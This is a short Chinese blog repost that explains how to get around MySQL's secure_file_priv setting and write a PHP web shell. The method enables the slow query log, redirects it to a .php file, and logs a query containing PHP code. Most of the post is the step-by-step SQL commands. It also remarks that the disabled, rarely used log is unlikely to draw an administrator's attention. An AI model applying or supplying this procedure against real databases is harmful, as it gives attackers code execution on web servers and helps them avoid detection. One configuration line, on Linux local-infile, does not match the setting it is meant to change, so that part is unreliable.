mysql之突破secure_file_priv写shell

mysql之突破secure_file_priv写shell

MySQL慢查询日志总结

mysql日志详细解析

总述:即当secure_file_priv为NULL的时候可以利用日志文件存储sql语句的特性来获得shell,此处用的是慢查询日志,当然别的日志应该也可以,写语句(xx or sleep(11))让其最终记录到慢查询日志中,修改慢查询日志文件位置即文件名(xx.php),然后访问此文件,就可以获得shell。

5.6.34版本之后,secure_file_priv的值默认为null,并且无法用sql语句对其进行修改,只能通过打开配置文件的方式:

windows下:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux下:

在/etc/my.cnf的[mysqld]下面添加local-infile=0选项。

但是可以利用日志来getshell:

mysql日志主要包括:错误日志,查询日志,慢查询日志,事务日志,日志的详细情况参考mysql日志详细解析

通过慢查询日志来写shell,步骤分为3步:
(使用慢查询日志原因,是因为这个日志一般用的少,但是这个日志默认是禁用的)

日志分析工具mysqldumpslow,自行百度

1.设置slow_query_log=1.即启用慢查询日志(默认禁用)

set global slow_query_log=1;
show global variables like '%slow_query_log%';	#查看慢查询日志是否开启及路径
mysql> show variables like 'slow_query_log_file';#查看慢查询日志存储路径

2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file="物理绝对路径"

3.向日志文件写入shell

执行:select '<?php phpinfo();?>' or sleep(11);
然后url访问我们的马就可以了:127.0.0.1/shell.php

慢日志解释说明:mysql默认语句执行时间超过指定时间,则此语句就会记入慢查询日志中,这个时间由long_query_time来控制(默认值为10秒),

show global variables like "%long_query_time%" #查看服务器默认时间值

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉。

来自:https://www.cnblogs.com/c1e4r/articles/8902444.html

原文地址:https://www.cnblogs.com/forforever/p/13452151.html